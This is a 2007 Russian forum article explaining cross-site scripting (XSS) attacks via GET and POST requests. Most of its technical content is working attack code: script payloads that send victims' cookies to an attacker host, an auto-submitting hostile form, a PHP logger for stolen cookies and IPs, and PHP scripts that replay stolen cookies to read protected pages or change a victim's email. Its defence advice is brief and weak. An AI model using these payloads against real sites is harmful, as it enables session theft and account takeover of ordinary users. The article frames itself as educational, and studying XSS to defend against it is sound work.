Форум общения вебмастеров Devil Art.Net


Межсайтовый скриптинг

Опубликовано 03.12.2007 - В рубриках: Безопасность

Что бы уметь хорошо защищаться, необходимо знать и способы атак. Эта истина известна давно, причем действует в оба конца. Каким образом можно предупредить DoS, если не знать даже что это? Любой пользователь компьютера должен хотя бы в общих чертах знать способы атак, не говоря уже о специалисте, тем паче по информационной безопасности (иб). Совсем недавно в КГ публиковалась моя статья посвященная атакам хакеров, но в ней не говорилось об атаках тех самых хакеров на скрипты сайтов. Бьюсь об заклад, что все слышали словосочетание «sql инъекция», ну или «php инклудинг». Сегодня речь пойдет о методе атаки под названием XSS. Мы попробуем разобраться что это и как оно работает. Выдадим немного подробностей, которые будут достаточно интересны.

Ну, как повелось у меня повелось уж, сначала представлю определение которое дано в википедии: «XSS — (англ. Сross Site Sсriрting) — межсайтовый скриптинг, тип уязвимости компьютерной системы, используется при хакерской атаке. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера, они используют уязвимый сервер в качестве средства атаки на клиента». Ну а теперь попляшем вокруг него, и рассмотрим подробнее.

Определение

Название межсайтовый скриптинг происходит от английского Cross Site Scripting. Конечно, логичнее было бы дать аббревиатуру CSS, но она к времени формирования метода была уже, так сказать, забита и означала Cascading Style Sheets, что в переводе означает каскадные таблицы стилей. Тут то и пришлось думать как сделать так, что бы не было путаницы. Думать пришлось недолго, т.к. Cross в переводе значит крест, поэтому для первой буквы аббревиатуры приспособили «Х».

Как уже говорилось, особенность атаки заключается не в том, чтобы принести ущерб серверу, а наоборот посетителю сайта. Происходит это путем подсовывания последнему специально построенной ссылки.

При осуществлении атаки такого типа используются два метода запросов: POST-запросы и GET-запросы.

Анатомия
Если определить точнее, то эта уязвимость дает возможность внедрить в html-страницу, которая генерируется скриптом (например, php), произвольный код, путем простого присваивания значения не фильтруемой переменной. Что это за переменная? Просто: переменная, значение которой не проверяется на наличие запрещенных символов, ну, например, > < ” ’ и так далее.

Как уже говорилось существует два способа осуществления атаки XSS. Первый – использование POST-запроса, второй – использование GET-запроса. Наиболее простым, но в то же время и «шумным» является второй способ. GET-запрос осуществляется через адресную строку браузера, поэтому, особо осторожный пользователь может увидеть незнакомые символы в ней и насторожиться. Конечно, как вариант можно записать каждый из символов в шеснатеричном значении, пример такого можно увидеть, например, в гугле, когда поисковая машина дублирует запрос пользователя в адресной строке на странице поиска, но это может сильно удлинить url.
В адресной строке GET-запрос выглядит следующим образом: http://sa-sec.org/xss.php?name=page&sid=9945&file=office&mode=&order=0&thold=0 Так, скрипту xss.php были переданы переменные: $name со значением page, $sid со значением 9945, $file со значением office и т.д. Естественно хакеру намного проще работать именно с GET-запросами.

Вот пример атаки межсайтового скриптинга, показанный на очень простой странице. Код страницы носит вот такой вид

<?php echo “Hi, ($HTTP_GET_VARS[‘name’])!”; ?>

Обратите внимание на результат (рис.1) если предать переменной значение Spider Agent.

Ну, а если вставить html код, то результат будет другой (рис.2).

Использовать POST немного сложнее, однако, он работает независимо от url скрипта. Для осуществления такого рода необходимо использовать промежуточную страницу, которая вынудит пользователя отправить POST-запрос уязвимому серверу.

Проведение xss-атаки методом GET-запроса

С помощью этого метода можно организовать переадресацию пользователя на необходимую хакеру страницу. Для осуществления этого необходимо внедрить вот такой код window.location.href=http://sa-sec.org в уязвимый сайт. Результатом, как уже говорилось, будет переадресация.

Для того, чтобы украсть document.cookies или history.length с компьютера случайной жертвы или просто получить информацию о системе, браузере или ip, хакеру необходимо организовать переадресацию, при этом переадресация будет выполняться на страницу в которую будет внедрен скрипт написанный хакером. Он то и проведет всю работу по взлому. Например, имеется уязвимый скрипт http://ofu.ru/h.php. Хакер внедряет в код скрипта редирект следующим образом window.location.href=http://xakepof.net/script.php. Таким образом, http://xakepof.net – сервер хакера, script.php – скрипт узнающий ip-адрес жертвы. Пример скрипта, возращающего переменную IP-адрес посетителя в переменную IP и имя компьютера в host приведен ниже:

myAddress=jаva.net.InetAddress.getLoсalHost();
myAddress2=jаva.net.InetAddress.getLoсalHost();
host=myAddress.getHostName();
iр=myAddress2.getHostAddress();

Можно воспользоваться уязвимостью некоторых браузеров. Взять, хотя бы, уязвимость IE, позволяющую выполнить произвольный код в атакованной системе. Для эксплуатации этой уязвимости необходимо только скачать эксплоит, написанный Персоном и залить его на сервер. Эксплоит состоит из четырех файлов: трех .html и одного .htm. Так вот, зальем этот эксплоит на сервер, например, hack.ti. После этого внедряем в уязвимый сайт код следующего вида

window.location.href=”http://hack.ti/index.html

Где index.html главная страница эксплоита. Таким образом жертва зайдя на уязвимую страницу переадресуется на http://hack.ti/index.html и эксплоит запустит код на выполнение.
Еще один способ редиректа представлен ниже

document.location.replace(’http://hack.ti/redirect’);

А вот если немного модифицировать этот код, то мы получим информацию о cookies жертвы, которые будут отсылаться на сервер атакующего.

document.location.replace
(’http://hack.ti/redirect?c=’+document.cookie);

Процесс вставки кода довольно просто и выглядит так

http://serverxss/hz.php?name=<script>document.location.replac
e(’http://hack.ti/redirect?c=’%2Bdocument.cookie)</script>

Проведение xss-атаки методом POST-запроса

Как уже говорилось, проведение атаки методом POST не намного сложнее. Создается промежуточная страница, на нее заманивается пользователь. При загрузки страницы пользователем происходит посылка post-запроса уязвимому серверу. Ниже пример, создания формы такого запроса для отсылки от имени пользователя:

<form name=f method=POST action=”http://serverxss/hz.php”>
<input type=hidden name=”name”
value=”<script>document.location.replace
(’http://hack.ti/redirect?c=’+document.cookie)</script>”>
</form>
<script>f.submit()</script>
Открытие пользователем страницы отправляет запрос к hz.php с переменной name установленной в
<script>document.location.replace
(’http://attacker/payload?c=’+document.cookie)</script>

Вот таким образом и передается код уязвимой странице.
Еще один способ записи cookies посетителя и записи ip-адреса и значение referek. Передается через переменную «с»:

<?php
$f = fopen(”log.txt”, “a”);
fwrite($f, “IP: {$_SERVER['REMOTE_ADDR']} Ref: {$_SERVER
['HTTP_REFERER']} Cookie: {$HTTP_GET_VARS['c']}\n”);
fclose($f);
?>

Результаты XSS-атак

Итак, какие же результаты может получить злоумышленник, проведя атаку типа xss? Попробуем в этом разобраться.

Безусловно этой атакой можно добиться ограничения прав нормальных пользователей сайта и тому подобные вещи. Собственно, это больше относится к тем, кто делал все ради забавы.

Можно произвести вывод бесконечного числа окон, пример этого представлен выше. Для осуществления такой задумки используются методы confirm и alert.

Не стоит забывать и про кражу информации. Как пример уже приводились cookies. Так же можно получить информацию о системе пользователя, его ip-адрес, history и тому подобное. Данные вещи могут очень неплохо помочь злоумышленнику в проведении реально взлома конкретного компьютера.

Я говорил о том, что можно использовать уязвимости браузеров. Это далеко не последняя вещ, ведь при обработки некоторых кодов браузеры (не все, конечно) могут устроить DoS или просто зависнуть. Могут и предоставить доступ к определенным файлам и т.п. Хочу заметить, что уязвимы все браузеры до единого :)

Имеется возможность модификации содержимого страницы. Это дает огромные возможности взломщику. Ну, например, можно вставить форму для ввода логина и пароля, которая при заполнении и нажатии кнопки войти отправит данные прямо на адрес электронной почты злоумышленника или просто залоги в файл на сервере атакующего.

Использование cookies в результате атаки огромны. Возможна модификация cookies атакующего, что позволит, например, перехватить сессию пользователя. Ниже приведен пример кода, который использует cookie для получения исходного кода защищенной страницы

<?php
$request = “GET /secret.php HTTP/1.0\r\n”;
$request .= “Cookie: {$HTTP_GET_VARS['c']}\r\n”;
$request .= “\r\n”;
$s = fsockopen(”host”, 80, $errno, $errstr, 30);
fputs($s, $request);
$content = ”;
while (!feof($s))
{
$content .= fgets($s, 4096);
}
fclose($s);
echo $content;
?>

Модифицировав код можно добиться выполнения практически любой задачи. Например, ниже идет код, который меняет адрес электронной почты жертвы без ее ведома

<?php
$request = “POST /profile.php HTTP/1.0\r\n”;
$request .= “Cookie: {$HTTP_GET_VARS['c']}\r\n”;
$request .= “\r\n”;
$request .= “email=attacker@hotmail.com”;
$s = fsockopen(”host”, 80, $errno, $errstr, 30);
fputs($s, $request);
fclose($s);
echo “<script>document.location.replace
(’http://google.com/’)</script>”;
?>

Давайте рассмотрим еще один пример атаки методом POST

<form method=”POST” action=http://hack.ti/1.html name=”explForm”>
<input type=hidden name=q
Value=”<script>alert(document.cookie)</script>”>
</form>
<script language=”Javascript”>
setTimeout(‘explForm.submit()’, 1);
</script>

В данном случае форма будет отправлена через одну миллисекунду после лоада страницы. Данный код может быть и модифицирован для работы с GET методом. Для этого в строке форм метод значение POST меняется на GET.
Хочу заметить, что данный код выполняет полноценную атаку xss.
А теперь давайте остановимся на защите от этого типа атак.

Защита

В роли защиты, ну, как минимум начального уровня может быть фильтр значений адресной строки. Он поможет пользователю отчистить адресную троку от ненужных символов, типа > < “ ‘. Это достаточно действенно для GET метода, однако для защиты от POST это не поможет. Тут стоит отключить выполнение скриптов. Немного жестко, строго и категорично, но результат олучается желаемый.
На это оптимистической ноте (защита) думаю необходимо закончить. Вот и все, что хотел вам рассказать о xss.

P.S.: Информация предоставлена исключительно для ознакомления и в целях обучения, следствием которого является повышение уровня общего развития :) За использования материалов данных статей в злонамеренных целях автор не несет никакой ответственности. Адреса ресурсов являются исключительно примерами. Скрипты немного поправлены, без искажения общей картины, но с исключением возможности использования использования.

Евгений Кучук aka Spider Agent





Комментарии

Оставьте отзыв




:mrgreen: :neutral: :twisted: :shock: :smile: :???: :cool: :evil: :grin: :oops: :razz: :roll: :wink: :cry: :eek: :lol: :mad: :sad:

Счётчик тИЦ PR Rambler's Top100 Rating All.BY